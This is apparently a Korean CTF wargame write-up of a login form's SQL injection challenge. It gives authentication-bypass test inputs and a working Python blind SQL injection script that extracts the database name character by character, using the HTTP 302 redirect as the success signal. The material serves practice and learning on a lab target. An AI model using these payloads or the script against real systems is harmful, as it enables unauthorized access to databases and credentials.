Wargame/Segfault

SQL Injection 6

sniffy-fanta 2025. 5. 23. 18:26

➡️ 계정이 주어졌고 플래그를 찾으러 가보자

 

➡️ 전 문제와 똑같이 로그인 성공 시 index.php로 리다이렉션 된다.

➡️ 로그인 실패시 Incorrect 문구가 출력된다.

➡️ 먼저 SQLI취약점이 있는지 확인했다.

  • normaltic' and '1'='1 → 로그인 성공
  • normaltic' # → 로그인 성공
  • normaltic'# / 비밀번호 틀림 → 로그인 실패
  • normaltic' or '1'='1 → 로그인 실패
  • normaltic' or '1'='1'# →로그인 실패
  • ' or '1'='1'# → 로그인 실패

ID로 비밀번호를 조회해 DB 비밀번호와 비교하는 거 같다.

➡️컬럼 수가 두개인 것을 확인했다.

➡️UNION공격을 바로 해봤는데 로그인에 실패했다. (admin에 싱글쿼터를 빼먹었지만 다시 넣고 테스트했다)

$row['id'] === $id && $row['pw'] === $pw처럼 아이디/비밀번호 둘 다 조건문으로 검사한다고 생각했다.

➡️UNION도 안되고 오류메세지도 없어서 Blind SQLI를 해야겠다.

➡️select 'test'로 로그인이 되는지 확인했고 로그인이 되는 모습이다.

import requests

url = "http://ctf2.segfaulthub.com:7777/sqli_3/login.php"
flag = ""
cookie= {"PHPSESSID":"8cbubgkjs618hcbkclcqthflnn"}

for i in range(1, 21): 
    found = False
    for c in range(33, 127):  #문자+특수기호 범위
        payload = f"normaltic' and ascii(substr((database()),{i},1))={c}#"
        res = requests.post(
            url,
            cookies=cookie,
            data={"UserId": payload, "Password": 1234, "Submit": "Login"},
            allow_redirects=False 
        )
        print(f"{i} : {c} x")
        if res.status_code == 302:
            flag += chr(c)
            print(f"[{i}] {chr(c)} ->{flag}")
            found = True
            break

    if not found:
        break  

print(f"{flag}")
  • 상태코드 302가 로그인 성공이라는 것을 이용해서 코드를 짰다.
  • 처음에 POST로 데이터를 넘길 때 Submit을 안넣었다...
  • 그러다보니 1~20까지 데이터가 없어도 계속 자동화 돌아가는게 싫어서 found로 데이터가 없으면 끊기게 했고
  • 안되길래 세션값도 줘야되나? 하고 쿠키값도 주면서 삽을 엄청 푸다가 submit을 넣어줬다.

➡️ DB획득

➡️테이블 획득

➡️컬럼 획득!

➡️플래그를 획득했다